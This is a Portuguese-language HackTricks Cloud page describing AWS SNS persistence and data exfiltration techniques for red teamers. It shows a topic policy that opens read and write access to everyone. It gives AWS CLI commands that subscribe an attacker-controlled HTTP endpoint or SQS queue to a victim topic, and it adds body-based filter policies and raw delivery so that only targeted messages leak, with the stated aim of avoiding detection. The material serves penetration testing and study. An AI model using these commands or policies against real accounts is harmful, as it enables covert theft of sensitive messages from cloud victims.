AWS - SNS Persistence
Reading time: 4 minutes
tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:
HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
SNS
Para mais informações, consulte:
Persistence
Quando criar um SNS topic, você precisa indicar, através de uma política IAM, quem tem acesso de leitura e escrita. É possível indicar contas externas, ARN de roles, ou até mesmo "*".
A política a seguir dá a todos na AWS acesso de leitura e escrita no SNS topic chamado MySNS.fifo:
{
"Version": "2008-10-17",
"Id": "__default_policy_ID",
"Statement": [
{
"Sid": "__default_statement_ID",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": [
"SNS:Publish",
"SNS:RemovePermission",
"SNS:SetTopicAttributes",
"SNS:DeleteTopic",
"SNS:ListSubscriptionsByTopic",
"SNS:GetTopicAttributes",
"SNS:AddPermission",
"SNS:Subscribe"
],
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo",
"Condition": {
"StringEquals": {
"AWS:SourceOwner": "318142138553"
}
}
},
{
"Sid": "__console_pub_0",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": "SNS:Publish",
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
},
{
"Sid": "__console_sub_0",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": "SNS:Subscribe",
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
}
]
}
Criar Assinantes
Para continuar exfiltrando todas as mensagens de todos os tópicos, um atacante poderia criar assinantes para todos os tópicos.
Observe que, se o tópico for do tipo FIFO, apenas assinantes que utilizem o protocolo SQS podem ser usados.
aws sns subscribe --region <region> \
--protocol http \
--notification-endpoint http://<attacker>/ \
--topic-arn <arn>
Exfiltração encoberta e seletiva via FilterPolicy em MessageBody
Um atacante com sns:Subscribe e sns:SetSubscriptionAttributes em um tópico pode criar uma assinatura SQS furtiva que só encaminha mensagens cujo corpo JSON corresponde a um filtro muito restrito (por exemplo, {"secret":"true"}). Isso reduz o volume e a detecção enquanto ainda consegue exfiltrar registros sensíveis.
Impacto Potencial: Exfiltração encoberta e de baixo ruído somente de mensagens SNS direcionadas de um tópico vítima.
Passos (AWS CLI):
- Certifique-se de que a política da fila SQS do atacante permita
sqs:SendMessagedoTopicArnda vítima (Conditionaws:SourceArnequals theTopicArn). - Crie uma assinatura SQS para o tópico:
aws sns subscribe --region us-east-1 --topic-arn TOPIC_ARN --protocol sqs --notification-endpoint ATTACKER_Q_ARN
- Configure o filtro para operar no corpo da mensagem e corresponder apenas a
secret=true:
aws sns set-subscription-attributes --region us-east-1 --subscription-arn SUB_ARN --attribute-name FilterPolicyScope --attribute-value MessageBody
aws sns set-subscription-attributes --region us-east-1 --subscription-arn SUB_ARN --attribute-name FilterPolicy --attribute-value '{"secret":["true"]}'
- Opcional (furtivo): habilite raw delivery para que apenas o payload bruto chegue ao receptor:
aws sns set-subscription-attributes --region us-east-1 --subscription-arn SUB_ARN --attribute-name RawMessageDelivery --attribute-value true
- Validação: publique duas mensagens e confirme que apenas a primeira é entregue na fila do atacante. Exemplos de payloads:
{"secret":"true","data":"exfil"}
{"secret":"false","data":"benign"}
- Limpeza: cancele a assinatura e exclua a fila SQS do atacante se criada para testes de persistência.
tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:
HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
HackTricks Cloud